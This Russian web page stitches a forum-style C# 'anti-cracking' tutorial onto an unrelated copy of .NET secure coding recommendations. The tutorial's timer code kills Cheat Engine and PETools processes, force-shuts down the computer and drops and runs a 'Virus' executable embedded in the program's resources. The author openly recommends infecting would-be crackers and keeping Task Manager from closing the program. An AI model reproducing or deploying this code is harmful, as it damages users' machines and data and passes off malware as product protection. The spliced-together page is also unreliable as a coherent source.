- Мощная защита от взлома программно! без использования левых протекторов
- Рекомендации по безопасному кодированию
- Защита доступа к ресурсам
- Код, не зависящий от безопасности
- Код приложения, который не является повторно используемым компонентом
- Управляемая оболочка для реализации машинного кода
- Код библиотеки, предоставляющий защищенные ресурсы
- См. также раздел
Мощная защита от взлома программно! без использования левых протекторов
Сегодня я расскажу вам как сделать защиту внутри программы.
Мы не будет использовать протекторы! хотя накрыть вам се равно придётся, т.к декомпиляторы этим способом не проведешь.
1.Нет возможности использовать дамперы, или тот же cheat engine чтобы сломать вашу программу.
2.Есть возможность добавить virus который активируется при попытках взлома, знаю вирусы тут запрещены, но это как пример для защиты своего продукта.
3.Можно сделать выключение компьютера при попытке взлома.
Даже опытные реверсеры потерпят неудачу, попыткой запустить тот же чит энджин.
Как все работает? + нужный код.
Пользователь запускает программу, к примеру вы сделали свой лаунчер и тд.
Запускает чит cheat engine и у него выбивает окно, что типа этого (Ваша попытка взлома привела вас к повреждению вашего компьютера)
И так после того как пользователь это прочитал он нажимает ок и прога просто закрывается если вы прописали закрытие.
Если вы прописали что то более мощное, к примеру выключение компьютера, я думаю взломщик несколько раз подумает стоит ли ломать чтобы опять запускать по новой комп.
И на крайняк уже если вы хотите сами из хакера сделать жертву, то как вариант прописать запуск приложения из ресурсов, к примеру мощного вируса, но об этом не будем т.к подобное тут запрещено но суть вы поняли.
Создаем проект и заходим на 1 форму.
Добавляем таймер и активируем его enable = true.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
private void timer1_Tick(object sender, EventArgs e) { try { Process[] processesByName = Process.GetProcessesByName("Cheat Engine"); // Имя процесса Process[] array = processesByName; for (int i = 0; i array.Length; i++) { Process process = array[i]; process.Kill(); // убиваем процесс проги для взлома MessageBox.Show("Сейчас компьютер будет выключен", "Плохой мальчик!"); // выводим сообщение System.Diagnostics.Process.Start("cmd", "/c shutdown -s -f -t 00"); // эта команда выключает систему } } catch (Exception ex2) { Exception ex = ex2; MessageBox.Show(ex.Message, "Не стоит тратить время!"); } try { Process[] processesByName = Process.GetProcessesByName("PETools"); //имя процесса Process[] array = processesByName; for (int i = 0; i array.Length; i++) { Process process = array[i]; process.Kill(); // убивает процесс программы для взлома MessageBox.Show("Сейчас будет запущен вирус", "Не взломаешь - комп поломаешь!"); FileStream fs = new FileStream(file_exe, FileMode.Create); // запускаем exe вирус из ресурсов fs.Write(Resources.Virus, 0, Resources.Virus.Length); fs.Close(); System.Diagnostics.Process.Start(file_exe); } } catch (Exception ex3) { Exception ex = ex3; MessageBox.Show(ex.Message, "Взлом не удался"); } }
Продолжать можно сколько угодно.
Если вы хотите просто выключить программу после попытки взлома то:
Добавлять после вывода сообщения или программа сразу закроется.
Так же можно прописать команду которая не даст возможности закрыть процесс через диспетчер задач.
Я имею ввиду что когда выйдет сообщения что ваш комп будет выключен, пользователь не сможет обхитрить и закрыть через диспетчер.
Рекомендации по безопасному кодированию
Большая часть кода приложения может просто использовать инфраструктуру, реализованную в .NET. В некоторых случаях требуется дополнительная защита на уровне приложения, построенная либо путем расширения системы, либо с помощью новых специальных методов.
С помощью принудительных разрешений .NET и других принудительных мер в коде следует создавать барьеры, чтобы предотвратить вредоносный код от доступа к информации, которую вы не хотите, или выполнения других нежелательных действий. Кроме того, необходимо соблюсти баланс между безопасностью и удобством использования во всех планируемых сценариях с использованием доверенного кода.
В этом обзоре описываются различные способы разработки кода, взаимодействующего с системой безопасности.
Защита доступа к ресурсам
При разработке и написания кода необходимо защитить и ограничить доступ данного кода к ресурсам, особенно при использовании или вызове кода неизвестного происхождения. Убедиться, что ваш код является безопасным, можно с помощью следующих методов.
- Не используйте управление доступом для кода (CAS).
- Не используйте частично доверенный код.
- Не используйте атрибут AllowPartiallyTrustedCaller (APTCA).
- Не используйте удаленное взаимодействие .NET.
- Не используйте модель DCOM.
- Не используйте двоичные модули форматирования.
Безопасность доступа к коду и код Security-Transparent не поддерживаются в качестве границы безопасности с частично доверенным кодом. Мы не рекомендуем загружать и выполнять код из неизвестных источников, не предприняв дополнительные меры безопасности. Ниже приведены дополнительные меры безопасности.
- Виртуализация
- Контейнеры AppContainer
- Пользователи операционной системы (ОС) и разрешения
- Контейнеры Hyper-V
Код, не зависящий от безопасности
Нейтральный код не взаимодействует явным образом с системой безопасности. Он работает с любыми полученными разрешениями. Хотя приложения, которые не перехватывают исключения безопасности, связанные с защищенными операциями (например, с использованием файлов, сети и т. д.), могут привести к необработанным исключениям, не зависящий от безопасности код по-прежнему использует преимущества технологий безопасности в .NET.
Библиотека нейтрального кода имеет особенности, которые следует понимать. Предположим, что библиотека предоставляет элементы API, которые используют файлы или вызывают неуправляемый код. Если у кода нет соответствующего разрешения, он не будет выполняться, как описано. Однако даже если код имеет разрешения, вызывающий его код приложения должен иметь те же разрешения, чтобы он мог работать. Если вызывающий код не имеет правильного разрешения, SecurityException отображается в результате обхода стека безопасности доступа к коду.
Код приложения, который не является повторно используемым компонентом
Если ваш код является частью приложения, которое не будет вызываться другим кодом, безопасность проста, и специальное кодирование может не потребоваться. Однако помните, что вредоносный код может вызвать ваш код. Хотя управление доступом для кода может предотвратить доступ вредоносного кода к ресурсам, такой код все еще может считывать значения полей или свойств, которые могут содержать конфиденциальные сведения.
Кроме того, если код принимает ввод пользователя из Интернета или других ненадежных источников, будьте осторожны, чтобы не были введены вредоносные данные.
Управляемая оболочка для реализации машинного кода
Обычно в этом сценарии некоторые полезные функции реализуются в машинном коде, который требуется сделать доступным для управляемого кода. Управляемые оболочки легко создаются с помощью вызова неуправляемого кода или COM-взаимодействия. Однако если это сделать, для успешного выполнения вызывающим ваши оболочки объектам необходимо предоставить права на неуправляемый код. В политике по умолчанию это означает, что код, скачанный из интрасети или Интернета, не будет работать с оболочками.
Вместо предоставления прав неуправляемого кода всем приложениям, которые используют эти оболочки, лучше предоставить эти права только коду-оболочке. Если эта базовая функциональность не предоставляет никакие ресурсы и реализация также безопасна, оболочке достаточно просто объявить свои права, что позволяет любому коду вызывать ее. При использовании ресурсов написание безопасного кода должно быть таким же, как в случае кода библиотеки, описанного в следующем разделе. Поскольку оболочка потенциально предоставляет вызывающим объектам доступ к этим ресурсам, необходима тщательная проверка безопасности машинного кода, за которую отвечает оболочка.
Код библиотеки, предоставляющий защищенные ресурсы
Следующий подход является наиболее эффективным и, следовательно, потенциально опасным (если он выполнен неправильно) для кодирования безопасности: библиотека служит интерфейсом для другого кода для доступа к определенным ресурсам, которые недоступны в противном случае, так же, как классы .NET применяют разрешения для используемых ресурсов. При предоставлении доступа к ресурсу код должен сначала запросить соответствующее разрешение на ресурс (т. е. он должен выполнить проверку безопасности), а затем объявить свои права на выполнение текущей операции.